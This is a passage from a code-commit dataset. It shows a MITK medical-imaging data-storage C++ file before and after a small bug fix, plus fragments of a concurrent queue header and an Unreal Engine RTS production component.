Q, typename T> template <typename U>\nsize_t multi_unbounded_queue<Q<T>>::tlcl<U>::_counter = 0;\n\ntemplate <template <typename> class Q, typename T> template <typename U>\nstd::vector<size_t> multi_unbounded_queue<Q<T>>::tlcl<U>::_available;\n\ntemplate <template <typename> class Q, typename T> template <typename U>\nstd::mutex multi_unbounded_queue<Q<T>>::tlcl<U>::_m;\n\n}\/\/namespace bk_conq\n\n#endif \/* BK_CONQ_MULTI_UNBOUNDED_QUEUE_HPP *\/\n<|endoftext|>"} {"text":"<commit_before>\/*===================================================================\n\nThe Medical Imaging Interaction Toolkit (MITK)\n\nCopyright (c) German Cancer Research Center,\nDivision of Medical and Biological Informatics.\nAll rights reserved.\n\nThis software is distributed WITHOUT ANY WARRANTY; without\neven the implied warranty of MERCHANTABILITY or FITNESS FOR\nA PARTICULAR PURPOSE.\n\nSee LICENSE.txt or http:\/\/www.mitk.org for details.\n\n===================================================================*\/\n\n#include \"mitkStandaloneDataStorage.h\"\n\n#include \"mitkDataNode.h\"\n#include \"mitkProperties.h\"\n#include \"mitkNodePredicateBase.h\"\n#include \"mitkNodePredicateProperty.h\"\n#include \"mitkGroupTagProperty.h\"\n#include \"itkSimpleFastMutexLock.h\"\n#include \"itkMutexLockHolder.h\"\n\n\nmitk::StandaloneDataStorage::StandaloneDataStorage()\n: mitk::DataStorage()\n{\n}\n\n\nmitk::StandaloneDataStorage::~StandaloneDataStorage()\n{\n for(AdjacencyList::iterator it = m_SourceNodes.begin();\n it != m_SourceNodes.end(); it++)\n {\n this->RemoveListeners(it->first);\n }\n}\n\n\n\n\nbool mitk::StandaloneDataStorage::IsInitialized() const\n{\n return true;\n}\n\n\nvoid mitk::StandaloneDataStorage::Add(mitk::DataNode* node, const mitk::DataStorage::SetOfObjects* parents)\n{\n {\n itk::MutexLockHolder<itk::SimpleFastMutexLock> locked(m_Mutex);\n if (!IsInitialized())\n throw std::logic_error(\"DataStorage not initialized\");\n \/* check if node is in its own list of sources *\/\n if ((parents != NULL) && (std::find(parents->begin(), parents->end(), node) != parents->end()))\n throw std::invalid_argument(\"Node is it's own parent\");\n \/* check if node already exists in StandaloneDataStorage *\/\n if (m_SourceNodes.find(node) != m_SourceNodes.end())\n throw std::invalid_argument(\"Node is already in DataStorage\");\n\n \/* create parent list if it does not exist *\/\n mitk::DataStorage::SetOfObjects::ConstPointer sp;\n if (parents != NULL)\n sp = parents;\n else\n sp = mitk::DataStorage::SetOfObjects::New();\n \/* Store node and parent list in sources adjacency list *\/\n m_SourceNodes.insert(std::make_pair(node, sp));\n\n \/* Store node and an empty children list in derivations adjacency list *\/\n mitk::DataStorage::SetOfObjects::Pointer childrenPointer = mitk::DataStorage::SetOfObjects::New();\n mitk::DataStorage::SetOfObjects::ConstPointer children = children.GetPointer();\n m_DerivedNodes.insert(std::make_pair(node, children));\n\n \/* create entry in derivations adjacency list for each parent of the new node *\/\n for (SetOfObjects::ConstIterator it = sp->Begin(); it != sp->End(); it++)\n {\n mitk::DataNode::ConstPointer parent = it.Value().GetPointer();\n mitk::DataStorage::SetOfObjects::ConstPointer derivedObjects = m_DerivedNodes[parent]; \/\/ get or create pointer to list of derived objects for that parent node\n if (derivedObjects.IsNull())\n m_DerivedNodes[parent] = mitk::DataStorage::SetOfObjects::New(); \/\/ Create a set of Objects, if it does not already exist\n mitk::DataStorage::SetOfObjects* deob = const_cast<mitk::DataStorage::SetOfObjects*>(m_DerivedNodes[parent].GetPointer()); \/\/ temporarily get rid of const pointer to insert new element\n deob->InsertElement(deob->Size(), node); \/\/ node is derived from parent. Insert it into the parents list of derived objects\n }\n\n \/\/ register for ITK changed events\n this->AddListeners(node);\n }\n\n \/* Notify observers *\/\n EmitAddNodeEvent(node);\n\n}\n\n\nvoid mitk::StandaloneDataStorage::Remove(const mitk::DataNode* node)\n{\n if (!IsInitialized())\n throw std::logic_error(\"DataStorage not initialized\");\n if (node == NULL)\n return;\n\n \/\/ remove ITK modified event listener\n this->RemoveListeners(node);\n\n \/\/ muellerm, 22.9.10: add additional reference count to ensure\n \/\/ that the node is not deleted when removed from the relation map\n \/\/ while m_Mutex is locked. This would cause the an itk::DeleteEvent\n \/\/ is thrown and a deadlock will occur when event receivers\n \/\/ access the DataStorage again in their event processing function\n \/\/\n mitk::DataNode::ConstPointer nodeGuard(node);\n\n \/* Notify observers of imminent node removal *\/\n EmitRemoveNodeEvent(node);\n {\n itk::MutexLockHolder<itk::SimpleFastMutexLock> locked(m_Mutex);\n \/* remove node from both relation adjacency lists *\/\n this->RemoveFromRelation(node, m_SourceNodes);\n this->RemoveFromRelation(node, m_DerivedNodes);\n }\n}\n\nbool mitk::StandaloneDataStorage::Exists(const mitk::DataNode* node) const\n{\n itk::MutexLockHolder<itk::SimpleFastMutexLock> locked(m_Mutex);\n return (m_SourceNodes.find(node) != m_SourceNodes.end());\n}\n\nvoid mitk::StandaloneDataStorage::RemoveFromRelation(const mitk::DataNode* node, AdjacencyList& relation)\n{\n for (AdjacencyList::const_iterator mapIter = relation.begin(); mapIter != relation.end(); ++mapIter) \/\/ for each node in the relation\n if (mapIter->second.IsNotNull()) \/\/ if node has a relation list\n {\n SetOfObjects::Pointer s = const_cast<SetOfObjects*>(mapIter->second.GetPointer()); \/\/ search for node to be deleted in the relation list\n SetOfObjects::STLContainerType::iterator relationListIter = std::find(s->begin(), s->end(), node); \/\/ this assumes, that the relation list does not contain duplicates (which should be safe to assume)\n if (relationListIter != s->end()) \/\/ if node to be deleted is in relation list\n s->erase(relationListIter); \/\/ remove it from parentlist\n }\n \/* now remove node from the relation *\/\n AdjacencyList::iterator adIt;\n adIt = relation.find(node);\n if (adIt != relation.end())\n relation.erase(adIt);\n}\n\n\nmitk::DataStorage::SetOfObjects::ConstPointer mitk::StandaloneDataStorage::GetAll() const\n{\n itk::MutexLockHolder<itk::SimpleFastMutexLock > locked(m_Mutex);\n if (!IsInitialized())\n throw std::logic_error(\"DataStorage not initialized\");\n\n mitk::DataStorage::SetOfObjects::Pointer resultset = mitk::DataStorage::SetOfObjects::New();\n \/* Fill resultset with all objects that are managed by the StandaloneDataStorage object *\/\n unsigned int index = 0;\n for (AdjacencyList::const_iterator it = m_SourceNodes.begin(); it != m_SourceNodes.end(); ++it)\n if (it->first.IsNull())\n continue;\n else\n resultset->InsertElement(index++, const_cast<mitk::DataNode*>(it->first.GetPointer()));\n\n return SetOfObjects::ConstPointer(resultset);\n}\n\n\nmitk::DataStorage::SetOfObjects::ConstPointer mitk::StandaloneDataStorage::GetRelations(const mitk::DataNode* node, const AdjacencyList& relation, const NodePredicateBase* condition, bool onlyDirectlyRelated) const\n{\n if (node == NULL)\n throw std::invalid_argument(\"invalid node\");\n\n \/* Either read direct relations directly from adjacency list *\/\n if (onlyDirectlyRelated)\n {\n AdjacencyList::const_iterator it = relation.find(node); \/\/ get parents of current node\n if ((it == relation.end()) || (it->second.IsNull())) \/\/ node not found in list or no set of parents\n return SetOfObjects::ConstPointer(mitk::DataStorage::SetOfObjects::New()); \/\/ return an empty set\n else\n return this->FilterSetOfObjects(it->second, condition);\n }\n\n \/* Or traverse adjacency list to collect all related nodes *\/\n std::vector<mitk::DataNode::ConstPointer> resultset;\n std::vector<mitk::DataNode::ConstPointer> openlist;\n\n \/* Initialize openlist with node. this will add node to resultset,\n but that is necessary to detect circular relations that would lead to endless recursion *\/\n openlist.push_back(node);\n\n while (openlist.size() > 0)\n {\n mitk::DataNode::ConstPointer current = openlist.back(); \/\/ get element that needs to be processed\n openlist.pop_back(); \/\/ remove last element, because it gets processed now\n resultset.push_back(current); \/\/ add current element to resultset\n AdjacencyList::const_iterator it = relation.find(current); \/\/ get parents of current node\n if ( (it == relation.end()) \/\/ if node not found in list\n || (it->second.IsNull()) \/\/ or no set of parents available\n || (it->second->Size() == 0)) \/\/ or empty set of parents\n continue; \/\/ then continue with next node in open list\n else\n for (SetOfObjects::ConstIterator parentIt = it->second->Begin(); parentIt != it->second->End(); ++parentIt) \/\/ for each parent of current node\n {\n mitk::DataNode::ConstPointer p = parentIt.Value().GetPointer();\n if ( !(std::find(resultset.begin(), resultset.end(), p) != resultset.end()) \/\/ if it is not already in resultset\n && !(std::find(openlist.begin(), openlist.end(), p) != openlist.end())) \/\/ and not already in openlist\n openlist.push_back(p); \/\/ then add it to openlist, so that it can be processed\n }\n }\n\n \/* now finally copy the results to a proper SetOfObjects variable exluding the initial node and checking the condition if any is given *\/\n mitk::DataStorage::SetOfObjects::Pointer realResultset = mitk::DataStorage::SetOfObjects::New();\n if (condition != NULL)\n {\n for (std::vector<mitk::DataNode::ConstPointer>::iterator resultIt = resultset.begin(); resultIt != resultset.end(); resultIt++)\n if ((*resultIt != node) && (condition->CheckNode(*resultIt) == true))\n realResultset->InsertElement(realResultset->Size(), mitk::DataNode::Pointer(const_cast<mitk::DataNode*>((*resultIt).GetPointer())));\n }\n else\n {\n for (std::vector<mitk::DataNode::ConstPointer>::iterator resultIt = resultset.begin(); resultIt != resultset.end(); resultIt++)\n if (*resultIt != node)\n realResultset->InsertElement(realResultset->Size(), mitk::DataNode::Pointer(const_cast<mitk::DataNode*>((*resultIt).GetPointer())));\n }\n return SetOfObjects::ConstPointer(realResultset);\n}\n\n\nmitk::DataStorage::SetOfObjects::ConstPointer mitk::StandaloneDataStorage::GetSources(const mitk::DataNode* node, const NodePredicateBase* condition, bool onlyDirectSources) const\n{\n itk::MutexLockHolder<itk::SimpleFastMutexLock> locked(m_Mutex);\n return this->GetRelations(node, m_SourceNodes, condition, onlyDirectSources);\n}\n\n\nmitk::DataStorage::SetOfObjects::ConstPointer mitk::StandaloneDataStorage::GetDerivations(const mitk::DataNode* node, const NodePredicateBase* condition, bool onlyDirectDerivations) const\n{\n itk::MutexLockHolder<itk::SimpleFastMutexLock>locked(m_Mutex);\n return this->GetRelations(node, m_DerivedNodes, condition, onlyDirectDerivations);\n}\n\n\nvoid mitk::StandaloneDataStorage::PrintSelf(std::ostream& os, itk::Indent indent) const\n{\n os << indent << \"StandaloneDataStorage:\\n\";\n Superclass::PrintSelf(os, indent);\n}\n<commit_msg>Workaround for small bug<commit_after>\/*===================================================================\n\nThe Medical Imaging Interaction Toolkit (MITK)\n\nCopyright (c) German Cancer Research Center,\nDivision of Medical and Biological Informatics.\nAll rights reserved.\n\nThis software is distributed WITHOUT ANY WARRANTY; without\neven the implied warranty of MERCHANTABILITY or FITNESS FOR\nA PARTICULAR PURPOSE.\n\nSee LICENSE.txt or http:\/\/www.mitk.org for details.\n\n===================================================================*\/\n\n#include \"mitkStandaloneDataStorage.h\"\n\n#include \"mitkDataNode.h\"\n#include \"mitkProperties.h\"\n#include \"mitkNodePredicateBase.h\"\n#include \"mitkNodePredicateProperty.h\"\n#include \"mitkGroupTagProperty.h\"\n#include \"itkSimpleFastMutexLock.h\"\n#include \"itkMutexLockHolder.h\"\n\n\nmitk::StandaloneDataStorage::StandaloneDataStorage()\n: mitk::DataStorage()\n{\n}\n\n\nmitk::StandaloneDataStorage::~StandaloneDataStorage()\n{\n for(AdjacencyList::iterator it = m_SourceNodes.begin();\n it != m_SourceNodes.end(); it++)\n {\n this->RemoveListeners(it->first);\n }\n}\n\n\n\n\nbool mitk::StandaloneDataStorage::IsInitialized() const\n{\n return true;\n}\n\n\nvoid mitk::StandaloneDataStorage::Add(mitk::DataNode* node, const mitk::DataStorage::SetOfObjects* parents)\n{\n {\n itk::MutexLockHolder<itk::SimpleFastMutexLock> locked(m_Mutex);\n if (!IsInitialized())\n throw std::logic_error(\"DataStorage not initialized\");\n \/* check if node is in its own list of sources *\/\n if ((parents != NULL) && (std::find(parents->begin(), parents->end(), node) != parents->end()))\n throw std::invalid_argument(\"Node is it's own parent\");\n \/* check if node already exists in StandaloneDataStorage *\/\n if (m_SourceNodes.find(node) != m_SourceNodes.end())\n throw std::invalid_argument(\"Node is already in DataStorage\");\n\n \/* create parent list if it does not exist *\/\n mitk::DataStorage::SetOfObjects::ConstPointer sp;\n if (parents != NULL)\n sp = parents;\n else\n sp = mitk::DataStorage::SetOfObjects::New();\n \/* Store node and parent list in sources adjacency list *\/\n m_SourceNodes.insert(std::make_pair(node, sp));\n\n \/* Store node and an empty children list in derivations adjacency list *\/\n mitk::DataStorage::SetOfObjects::Pointer childrenPointer = mitk::DataStorage::SetOfObjects::New();\n mitk::DataStorage::SetOfObjects::ConstPointer children = childrenPointer.GetPointer();\n m_DerivedNodes.insert(std::make_pair(node, children));\n\n \/* create entry in derivations adjacency list for each parent of the new node *\/\n for (SetOfObjects::ConstIterator it = sp->Begin(); it != sp->End(); it++)\n {\n mitk::DataNode::ConstPointer parent = it.Value().GetPointer();\n mitk::DataStorage::SetOfObjects::ConstPointer derivedObjects = m_DerivedNodes[parent]; \/\/ get or create pointer to list of derived objects for that parent node\n if (derivedObjects.IsNull())\n m_DerivedNodes[parent] = mitk::DataStorage::SetOfObjects::New(); \/\/ Create a set of Objects, if it does not already exist\n mitk::DataStorage::SetOfObjects* deob = const_cast<mitk::DataStorage::SetOfObjects*>(m_DerivedNodes[parent].GetPointer()); \/\/ temporarily get rid of const pointer to insert new element\n deob->InsertElement(deob->Size(), node); \/\/ node is derived from parent. Insert it into the parents list of derived objects\n }\n\n \/\/ register for ITK changed events\n this->AddListeners(node);\n }\n\n \/* Notify observers *\/\n EmitAddNodeEvent(node);\n\n}\n\n\nvoid mitk::StandaloneDataStorage::Remove(const mitk::DataNode* node)\n{\n if (!IsInitialized())\n throw std::logic_error(\"DataStorage not initialized\");\n if (node == NULL)\n return;\n\n \/\/ remove ITK modified event listener\n this->RemoveListeners(node);\n\n \/\/ muellerm, 22.9.10: add additional reference count to ensure\n \/\/ that the node is not deleted when removed from the relation map\n \/\/ while m_Mutex is locked. This would cause the an itk::DeleteEvent\n \/\/ is thrown and a deadlock will occur when event receivers\n \/\/ access the DataStorage again in their event processing function\n \/\/\n mitk::DataNode::ConstPointer nodeGuard(node);\n\n \/* Notify observers of imminent node removal *\/\n EmitRemoveNodeEvent(node);\n {\n itk::MutexLockHolder<itk::SimpleFastMutexLock> locked(m_Mutex);\n \/* remove node from both relation adjacency lists *\/\n this->RemoveFromRelation(node, m_SourceNodes);\n this->RemoveFromRelation(node, m_DerivedNodes);\n }\n}\n\nbool mitk::StandaloneDataStorage::Exists(const mitk::DataNode* node) const\n{\n itk::MutexLockHolder<itk::SimpleFastMutexLock> locked(m_Mutex);\n return (m_SourceNodes.find(node) != m_SourceNodes.end());\n}\n\nvoid mitk::StandaloneDataStorage::RemoveFromRelation(const mitk::DataNode* node, AdjacencyList& relation)\n{\n for (AdjacencyList::const_iterator mapIter = relation.begin(); mapIter != relation.end(); ++mapIter) \/\/ for each node in the relation\n if (mapIter->second.IsNotNull()) \/\/ if node has a relation list\n {\n SetOfObjects::Pointer s = const_cast<SetOfObjects*>(mapIter->second.GetPointer()); \/\/ search for node to be deleted in the relation list\n SetOfObjects::STLContainerType::iterator relationListIter = std::find(s->begin(), s->end(), node); \/\/ this assumes, that the relation list does not contain duplicates (which should be safe to assume)\n if (relationListIter != s->end()) \/\/ if node to be deleted is in relation list\n s->erase(relationListIter); \/\/ remove it from parentlist\n }\n \/* now remove node from the relation *\/\n AdjacencyList::iterator adIt;\n adIt = relation.find(node);\n if (adIt != relation.end())\n relation.erase(adIt);\n}\n\n\nmitk::DataStorage::SetOfObjects::ConstPointer mitk::StandaloneDataStorage::GetAll() const\n{\n itk::MutexLockHolder<itk::SimpleFastMutexLock > locked(m_Mutex);\n if (!IsInitialized())\n throw std::logic_error(\"DataStorage not initialized\");\n\n mitk::DataStorage::SetOfObjects::Pointer resultset = mitk::DataStorage::SetOfObjects::New();\n \/* Fill resultset with all objects that are managed by the StandaloneDataStorage object *\/\n unsigned int index = 0;\n for (AdjacencyList::const_iterator it = m_SourceNodes.begin(); it != m_SourceNodes.end(); ++it)\n if (it->first.IsNull())\n continue;\n else\n resultset->InsertElement(index++, const_cast<mitk::DataNode*>(it->first.GetPointer()));\n\n return SetOfObjects::ConstPointer(resultset);\n}\n\n\nmitk::DataStorage::SetOfObjects::ConstPointer mitk::StandaloneDataStorage::GetRelations(const mitk::DataNode* node, const AdjacencyList& relation, const NodePredicateBase* condition, bool onlyDirectlyRelated) const\n{\n if (node == NULL)\n throw std::invalid_argument(\"invalid node\");\n\n \/* Either read direct relations directly from adjacency list *\/\n if (onlyDirectlyRelated)\n {\n AdjacencyList::const_iterator it = relation.find(node); \/\/ get parents of current node\n if ((it == relation.end()) || (it->second.IsNull())) \/\/ node not found in list or no set of parents\n return SetOfObjects::ConstPointer(mitk::DataStorage::SetOfObjects::New()); \/\/ return an empty set\n else\n return this->FilterSetOfObjects(it->second, condition);\n }\n\n \/* Or traverse adjacency list to collect all related nodes *\/\n std::vector<mitk::DataNode::ConstPointer> resultset;\n std::vector<mitk::DataNode::ConstPointer> openlist;\n\n \/* Initialize openlist with node. this will add node to resultset,\n but that is necessary to detect circular relations that would lead to endless recursion *\/\n openlist.push_back(node);\n\n while (openlist.size() > 0)\n {\n mitk::DataNode::ConstPointer current = openlist.back(); \/\/ get element that needs to be processed\n openlist.pop_back(); \/\/ remove last element, because it gets processed now\n resultset.push_back(current); \/\/ add current element to resultset\n AdjacencyList::const_iterator it = relation.find(current); \/\/ get parents of current node\n if ( (it == relation.end()) \/\/ if node not found in list\n || (it->second.IsNull()) \/\/ or no set of parents available\n || (it->second->Size() == 0)) \/\/ or empty set of parents\n continue; \/\/ then continue with next node in open list\n else\n for (SetOfObjects::ConstIterator parentIt = it->second->Begin(); parentIt != it->second->End(); ++parentIt) \/\/ for each parent of current node\n {\n mitk::DataNode::ConstPointer p = parentIt.Value().GetPointer();\n if ( !(std::find(resultset.begin(), resultset.end(), p) != resultset.end()) \/\/ if it is not already in resultset\n && !(std::find(openlist.begin(), openlist.end(), p) != openlist.end())) \/\/ and not already in openlist\n openlist.push_back(p); \/\/ then add it to openlist, so that it can be processed\n }\n }\n\n \/* now finally copy the results to a proper SetOfObjects variable exluding the initial node and checking the condition if any is given *\/\n mitk::DataStorage::SetOfObjects::Pointer realResultset = mitk::DataStorage::SetOfObjects::New();\n if (condition != NULL)\n {\n for (std::vector<mitk::DataNode::ConstPointer>::iterator resultIt = resultset.begin(); resultIt != resultset.end(); resultIt++)\n if ((*resultIt != node) && (condition->CheckNode(*resultIt) == true))\n realResultset->InsertElement(realResultset->Size(), mitk::DataNode::Pointer(const_cast<mitk::DataNode*>((*resultIt).GetPointer())));\n }\n else\n {\n for (std::vector<mitk::DataNode::ConstPointer>::iterator resultIt = resultset.begin(); resultIt != resultset.end(); resultIt++)\n if (*resultIt != node)\n realResultset->InsertElement(realResultset->Size(), mitk::DataNode::Pointer(const_cast<mitk::DataNode*>((*resultIt).GetPointer())));\n }\n return SetOfObjects::ConstPointer(realResultset);\n}\n\n\nmitk::DataStorage::SetOfObjects::ConstPointer mitk::StandaloneDataStorage::GetSources(const mitk::DataNode* node, const NodePredicateBase* condition, bool onlyDirectSources) const\n{\n itk::MutexLockHolder<itk::SimpleFastMutexLock> locked(m_Mutex);\n return this->GetRelations(node, m_SourceNodes, condition, onlyDirectSources);\n}\n\n\nmitk::DataStorage::SetOfObjects::ConstPointer mitk::StandaloneDataStorage::GetDerivations(const mitk::DataNode* node, const NodePredicateBase* condition, bool onlyDirectDerivations) const\n{\n itk::MutexLockHolder<itk::SimpleFastMutexLock>locked(m_Mutex);\n return this->GetRelations(node, m_DerivedNodes, condition, onlyDirectDerivations);\n}\n\n\nvoid mitk::StandaloneDataStorage::PrintSelf(std::ostream& os, itk::Indent indent) const\n{\n os << indent << \"StandaloneDataStorage:\\n\";\n Superclass::PrintSelf(os, indent);\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"RTSPluginPCH.h\"\n#include \"RTSProductionComponent.h\"\n\n#include \"GameFramework\/Actor.h\"\n#include \"GameFramework\/Controller.h\"\n#include \"Engine\/BlueprintGeneratedClass.h\"\n#include \"Engine\/SCS_Node.h\"\n#include \"Kismet\/GameplayStatics.h\"\n\n#include \"RTSGameMode.h\"\n#include \"RTSProductionCostComponent.h\"\n#include \"RTSPlayerController.h\"\n#include \"RTSPlayerAdvantageComponent.h\"\n#include \"RTSPlayerResourcesComponent.h\"\n#include \"RTSUtilities.h\"\n\n\nURTSProductionComponent::URTSProductionComponent(const FObjectInitializer& ObjectInitializer)\n\t: Super(ObjectInitializer)\n{\n\tPrimaryComponentTick.bCanEverTick = true;\n\n\tSetIsReplicated(true);\n}\n\nvoid URTSProductionComponent::GetLifetimeReplicatedProps(TArray<FLifetimeProperty>& OutLifetimeProps) const\n{\n\tSuper::GetLifetimeReplicatedProps(OutLifetimeProps);\n\n\tDOREPLIFETIME(URTSProductionComponent, ProductionQueues);\n}\n\nvoid URTSProductionComponent::BeginPlay()\n{\n\tUActorComponent::BeginPlay();\n\n\t\/\/ Setup queues.\n\tfor (int32 QueueIndex = 0; QueueIndex < QueueCount; ++QueueIndex)\n\t{\n\t\tFRTSProductionQueue NewQueue;\n\t\tProductionQueues.Add(NewQueue);\n\t}\n}\n\nvoid URTSProductionComponent::TickComponent(float DeltaTime, enum ELevelTick TickType, FActorComponentTickFunction *ThisTickFunction)\n{\n\tUActorComponent::TickComponent(DeltaTime, TickType, ThisTickFunction);\n\n \/\/ Check for speed boosts.\n float SpeedBoostFactor = 1.0f;\n AActor* OwningActor = GetOwner();\n\n if (OwningActor)\n {\n AActor* OwningPlayer = OwningActor->GetOwner();\n\n if (OwningPlayer)\n {\n URTSPlayerAdvantageComponent* PlayerAdvantageComponent = OwningPlayer->FindComponentByClass<URTSPlayerAdvantageComponent>();\n\n if (PlayerAdvantageComponent)\n {\n SpeedBoostFactor = PlayerAdvantageComponent->SpeedBoostFactor;\n }\n }\n }\n\n\t\/\/ Process all queues.\n\tfor (int32 QueueIndex = 0; QueueIndex < QueueCount; ++QueueIndex)\n\t{\n\t\tif (ProductionQueues[QueueIndex].Num() <= 0)\n\t\t{\n\t\t\tcontinue;\n\t\t}\n\n\t\t\/\/ Check production costs.\n\t\tauto ProductClass = GetCurrentProduction(QueueIndex);\n\t\tauto ProductionCostComponent = URTSUtilities::FindDefaultComponentByClass<URTSProductionCostComponent>(ProductClass);\n\n\t\tbool bProductionCostPaid = false;\n\n\t\tif (ProductionCostComponent && ProductionCostComponent->ProductionCostType == ERTSProductionCostType::COST_PayOverTime)\n\t\t{\n\t\t\tauto Owner = GetOwner()->GetOwner();\n\n\t\t\tif (!Owner)\n\t\t\t{\n\t\t\t\tUE_LOG(LogRTS, Error, TEXT(\"%s needs to pay for production, but has no owner.\"), *GetOwner()->GetName());\n\t\t\t\tcontinue;\n\t\t\t}\n\n auto PlayerResourcesComponent = Owner->FindComponentByClass<URTSPlayerResourcesComponent>();\n\n if (!PlayerResourcesComponent)\n {\n UE_LOG(LogRTS, Error, TEXT(\"%s needs to pay for production, but has no PlayerResourcesComponent.\"), *Owner->GetName());\n continue;\n }\n\n\t\t\tbool bCanPayAllProductionCosts = true;\n\n\t\t\tfor (auto& Resource : ProductionCostComponent->Resources)\n\t\t\t{\n\t\t\t\tfloat ResourceAmount = Resource.Value * SpeedBoostFactor * DeltaTime \/ ProductionCostComponent->ProductionTime;\n\n\t\t\t\tif (!PlayerResourcesComponent->CanPayResources(Resource.Key, ResourceAmount))\n\t\t\t\t{\n\t\t\t\t\t\/\/ Production stopped until resources become available again.\n\t\t\t\t\tbCanPayAllProductionCosts = false;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif (bCanPayAllProductionCosts)\n\t\t\t{\n\t\t\t\t\/\/ Pay production costs.\n\t\t\t\tfor (auto& Resource : ProductionCostComponent->Resources)\n\t\t\t\t{\n\t\t\t\t\tfloat ResourceAmount = Resource.Value * SpeedBoostFactor * DeltaTime \/ ProductionCostComponent->ProductionTime;\n PlayerResourcesComponent->PayResources(Resource.Key, ResourceAmount);\n\t\t\t\t}\n\n\t\t\t\tbProductionCostPaid = true;\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\tbProductionCostPaid = true;\n\t\t}\n\n\t\tif (!bProductionCostPaid)\n\t\t{\n\t\t\tcontinue;\n\t\t}\n\n\t\t\/\/ Update production progress.\n\t\tProductionQueues[QueueIndex].RemainingProductionTime -= SpeedBoostFactor * DeltaTime;\n\n\t\t\/\/ Check if finished.\n\t\tif (ProductionQueues[QueueIndex].RemainingProductionTime <= 0)\n\t\t{\n\t\t\tFinishProduction(QueueIndex);\n\t\t}\n\t}\n}\n\nbool URTSProductionComponent::CanAssignProduction(TSubclassOf<AActor> ProductClass) const\n{\n\treturn URTSUtilities::IsReadyToUse(GetOwner()) && FindQueueForProduct(ProductClass) >= 0;\n}\n\nint32 URTSProductionComponent::FindQueueForProduct(TSubclassOf<AActor> ProductClass) const\n{\n\t\/\/ Find queue with least products that is not at capacity limit.\n\tint32 QueueWithLeastProducts = -1;\n\tint32 ProductsInShortestQueue = CapacityPerQueue;\n\n\tfor (int32 QueueIndex = 0; QueueIndex < QueueCount; ++QueueIndex)\n\t{\n\t\tconst FRTSProductionQueue& Queue = ProductionQueues[QueueIndex];\n\n\t\tif (Queue.Num() < ProductsInShortestQueue)\n\t\t{\n\t\t\tQueueWithLeastProducts = QueueIndex;\n\t\t\tProductsInShortestQueue = Queue.Num();\n\t\t}\n\t}\n\n\treturn QueueWithLeastProducts;\n}\n\nTSubclassOf<AActor> URTSProductionComponent::GetCurrentProduction(int32 QueueIndex \/*= 0*\/) const\n{\n\tif (QueueIndex < 0 || QueueIndex >= QueueCount)\n\t{\n\t\treturn nullptr;\n\t}\n\n\tconst FRTSProductionQueue& Queue = ProductionQueues[QueueIndex];\n\n\treturn Queue.Num() > 0 ? Queue[0] : nullptr;\n}\n\nfloat URTSProductionComponent::GetProductionTime(int32 QueueIndex \/*= 0*\/) const\n{\n\tTSubclassOf<AActor> CurrentProduction = GetCurrentProduction(QueueIndex);\n\n\tif (!CurrentProduction)\n\t{\n\t\treturn 0.0f;\n\t}\n\n\treturn GetProductionTimeForProduct(CurrentProduction);\n}\n\nfloat URTSProductionComponent::GetProductionTimeForProduct(TSubclassOf<AActor> ProductClass) const\n{\n\tURTSProductionCostComponent* ProductionCostComponent =\n\t\tURTSUtilities::FindDefaultComponentByClass<URTSProductionCostComponent>(ProductClass);\n\treturn ProductionCostComponent ? ProductionCostComponent->ProductionTime : 0.0f;\n}\n\nfloat URTSProductionComponent::GetProgressPercentage(int32 QueueIndex \/*= 0*\/) const\n{\n\tfloat TotalProductionTime = GetProductionTime(QueueIndex);\n\n\tif (TotalProductionTime <= 0.0f)\n\t{\n\t\treturn 1.0f;\n\t}\n\n\tfloat RemainingProductionTime = GetRemainingProductionTime(QueueIndex);\n\n\tif (RemainingProductionTime <= 0.0f)\n\t{\n\t\treturn 1.0f;\n\t}\n\n\treturn 1 - (RemainingProductionTime \/ TotalProductionTime);\n}\n\nfloat URTSProductionComponent::GetRemainingProductionTime(int32 QueueIndex \/*= 0*\/) const\n{\n\tif (QueueIndex < 0 || QueueIndex >= QueueCount)\n\t{\n\t\treturn 0.0f;\n\t}\n\n\treturn ProductionQueues[QueueIndex].RemainingProductionTime;\n}\n\nbool URTSProductionComponent::IsProducing() const\n{\n\tfor (int32 QueueIndex = 0; QueueIndex < QueueCount; ++QueueIndex)\n\t{\n\t\tconst FRTSProductionQueue& Queue = ProductionQueues[QueueIndex];\n\n\t\tif (Queue.Num() > 0)\n\t\t{\n\t\t\treturn true;\n\t\t}\n\t}\n\t\n\treturn false;\n}\n\nvoid URTSProductionComponent::StartProduction(TSubclassOf<AActor> ProductClass)\n{\n\t\/\/ Check production state.\n\tif (!CanAssignProduction(ProductClass))\n\t{\n\t\treturn;\n\t}\n\n\tint32 QueueIndex = FindQueueForProduct(ProductClass);\n\n\tif (QueueIndex < 0)\n\t{\n\t\treturn;\n\t}\n\n \/\/ Check requirements.\n TSubclassOf<AActor> MissingRequirement;\n\n if (URTSUtilities::GetMissingRequirementFor(this, GetOwner(), ProductClass, MissingRequirement))\n {\n UE_LOG(LogRTS, Error, TEXT(\"%s wants to produce %s, but is missing requirement %s.\"), *GetOwner()->GetName(), *ProductClass->GetName(), *MissingRequirement->GetName());\n return;\n }\n\n\t\/\/ Check production cost.\n\tURTSProductionCostComponent* ProductionCostComponent =\n\t\tURTSUtilities::FindDefaultComponentByClass<URTSProductionCostComponent>(ProductClass);\n\n\tif (ProductionCostComponent && ProductionCostComponent->ProductionCostType == ERTSProductionCostType::COST_PayImmediately)\n\t{\n\t\tauto Owner = GetOwner()->GetOwner();\n\n\t\tif (!Owner)\n\t\t{\n\t\t\tUE_LOG(LogRTS, Error, TEXT(\"%s needs to pay for production, but has no owner.\"), *GetOwner()->GetName());\n\t\t\treturn;\n\t\t}\n\n auto PlayerResourcesComponent = Owner->FindComponentByClass<URTSPlayerResourcesComponent>();\n\n if (!PlayerResourcesComponent)\n {\n UE_LOG(LogRTS, Error, TEXT(\"%s needs to pay for production, but has no PlayerResourcesComponent.\"), *Owner->GetName());\n return;\n }\n\n\t\tif (!PlayerResourcesComponent->CanPayAllResources(ProductionCostComponent->Resources))\n\t\t{\n\t\t\tUE_LOG(LogRTS, Error, TEXT(\"%s needs to pay for producing %s, but does not have enough resources.\"),\n\t\t\t\t*Owner->GetName(),\n\t\t\t\t*ProductClass->GetName());\n\t\t\treturn;\n\t\t}\n\n\t\t\/\/ Pay production costs.\n PlayerResourcesComponent->PayAllResources(ProductionCostComponent->Resources);\n\t}\n\t\n\t\/\/ Insert into queue.\n\tFRTSProductionQueue& Queue = 